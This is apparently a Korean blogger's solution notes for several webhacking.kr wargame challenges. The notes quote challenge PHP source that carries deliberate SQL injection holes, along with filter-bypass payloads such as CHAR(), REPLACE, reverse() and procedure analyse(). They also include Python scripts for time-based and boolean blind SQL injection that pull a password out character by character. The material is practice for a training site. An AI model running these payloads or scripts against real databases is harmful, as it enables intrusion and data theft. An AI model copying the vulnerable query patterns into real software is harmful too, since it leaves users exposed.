온전히 내 힘만으로 푼건 아니라 좀 부끄럽네.... (거의.. 아니 많이... 검색에 의존했다.. 힌트도 많이 보고 ㅠㅠ)
webhacking.kr은 나온지도 좀 된 워게임사이트인데 공부랍시고 하는 내가 이렇게 고전한것도 좀 부끄러운것 같기도하고...

<? echo("<a href=index_lolll.phps>source</a>"); if(!$_GET[id]) $_GET[id]="guest"; echo("<html><head><title>Challenge 61</title></head><body>"); if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied"); if(strlen($_GET[id])>18) exit("Access Denied"); $q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1")); echo("<b>$q[id]</b><br>"); if($q[id]=="admin") @clear(); echo("</body></html>"); ?>
<? sleep(1); if(eregi("[0-9]",$_COOKIE[PHPSESSID])) exit("Access Denied<br><a href=index.phps>index.phps</a>"); if($_GET[mode]=="auth") { echo("Auth~<br>"); $f=@file("readme/$_SESSION[id].txt"); for($i=0;$i<=strlen($f);$i++) { $result.=$f[$i]; } if(eregi("$_SESSION[id]",$result)) { echo("Done!"); @unlink("readme/$_SESSION[id].txt"); @clear(); exit(); } } $f=@fopen("readme/$_SESSION[id].txt","w"); @fwrite($f,"$_SESSION[id]"); @fclose($f); if($_SERVER[REMOTE_ADDR]!="127.0.0.1") { sleep(1); @unlink("readme/$_SESSION[id].txt"); } ?>
Auth~<br>Done!<script>alert('Congratulation!');</script><center><h1><br><br><hr> <font color=gray>You have cleared the 60 problems.</font><br><br><font color=gre en><b>Score + 300</b></font><br><hr></h1></center>
<? if($_POST[lid] && $_POST[lphone]) { $q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'")); if($q[id]) { echo("id : $q[id]<br>lv : $q[lv]<br><br>"); if($q[lv]=="admin") { @mysql_query("delete from c59"); @clear(); } echo("<br><a href=index.php>back</a>"); exit(); } } if($_POST[id] && $_POST[phone]) { if(strlen($_POST[phone])>=20) exit("Access Denied"); if(eregi("admin",$_POST[id])) exit("Access Denied"); if(eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied"); @mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')"); } ?>
"select id,lv from c59 where id=''; insert into c59 values(CHAR(97),CHAR(97),CHAR(97,100,109,105,110)); #$_POST[lid]' and phone='$_POST[lphone]'"
'1',REPLACE('zdmin','z','a') --
1,reverse('nimda')--
1,reverse(id));--
kk=document.URL; kk=kk.substr(10,4);
<? $secret_key="????"; if(time()>1309064400) exit("오후 2시에 공개됩니다."); if($_POST[pw]) { if($_POST[pw]==$secret_key) { mysql_query("delete from challenge57msg"); @solve(); exit(); } } if($_GET[msg] && $_GET[se]) { if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied"); mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])"); echo("Done<br><br>"); } ?>
hi','hi all',1); #
SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' for j in range(32,132): url = 'http://webhacking.kr/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,1,1)={},sleep(2),0)'.format(hex(j)) req = urllib2.Request(url, '', headers) start_time = time.time() response = urllib2.urlopen(req).read() time = time.time() - start_time print time, chr(j)
0.100000143051 0.108999967575 0.104000091553 0.0979998111725 0.0980000495911 0.101999998093 0.0970001220703 0.115999937057 2.10299992561 0.113000154495 0.105000019073 0.101999998093
hkpHKP0.%_
[('h', 'k', 'p', '.'), ('h', 'k', '.', 'p'), ('h', 'p', 'k', '.'), ('h', 'p', '.', 'k'), ('h', '.', 'k', 'p'), ('h', '.', 'p', 'k'), ('k', 'h', 'p', '.'), ('k', 'h', '.', 'p'), ('k', 'p', 'h', '.'), ('k', 'p', '.', 'h'), ('k', '.', 'h', 'p'), ('k', '.', 'p', 'h'), ('p', 'h', 'k', '.'), ('p', 'h', '.', 'k'), ('p', 'k', 'h', '.'), ('p', 'k', '.', 'h'), ('p', '.', 'h', 'k'), ('p', '.', 'k', 'h'), ('.', 'h', 'k', 'p'), ('.', 'h', 'p', 'k'), ('.', 'k', 'h', 'p'), ('.', 'k', 'p', 'h'), ('.', 'p', 'h', 'k'), ('.', 'p', 'k', 'h')]
('k', '.', 'p', 'h')
<!-- hint rank table ==================== ip ( = id ) score **password** --> small letter ==================== -->
http://webhacking.kr/challenge/web/web-31/rank.php?score=48851132%20or%20substr%28password,1,1%29=a
right(left(password,1),1)
0 limit 2, 1 procedure analyse()
http://webhacking.kr/challenge/web/web-31/rank.php?score=2147483647%20or%20right(left(컬럼,{}),1)={}
<script> function run(){ if(window.ActiveXObject){ try { return new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) { try { return new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) { return null; } } }else if(window.XMLHttpRequest){ return new XMLHttpRequest(); }else{ return null; } } x=run(); function answer(i) { x.open('GET','?m='+i,false); x.send(null); aview.innerHTML=x.responseText; i++; if(x.responseText) setTimeout("answer("+i+")",100); if(x.responseText=="") aview.innerHTML="?"; } setTimeout("answer(0)",10000); </script>
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess), 'Referer': 'http://webhacking.kr/challenge/bonus/bonus-14/' } pw = '' for i in range(0,33): url = 'http://webhacking.kr/challenge/bonus/bonus-14/?m={}'.format(i) req = urllib2.Request(url, '', headers) response = urllib2.urlopen(req).read() pw = pw + str(response) print pw
<html> <head> <title>Challenge 53</title> </head> <body> hello world <br><br><br> <? if(time()<1260615600) exit(); $hidden_table="????"; if($_GET[answer]==$hidden_table) { @solve(); exit(); } if(eregi("union",$_GET[val])) exit(); if(eregi("select",$_GET[val])) exit(); if(eregi("from",$_GET[val])) exit(); if(eregi("/",$_GET[val])) exit(); if(eregi("\*",$_GET[val])) exit(); if(eregi("#",$_GET[val])) exit(); if(eregi("-",$_GET[val])) exit(); if(eregi(",",$_GET[val])) exit(); if(eregi("=",$_GET[val])) exit(); if(eregi("!",$_GET[val])) exit(); if(eregi("\|",$_GET[val])) exit(); if(eregi("by",$_GET[val])) exit(); $f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]")); echo($f[0]); if($f) { echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>"); } ?> <!-- index.phps --> </body> </html>
2%20or%201
procedure analyse()
1 procedure analyse() #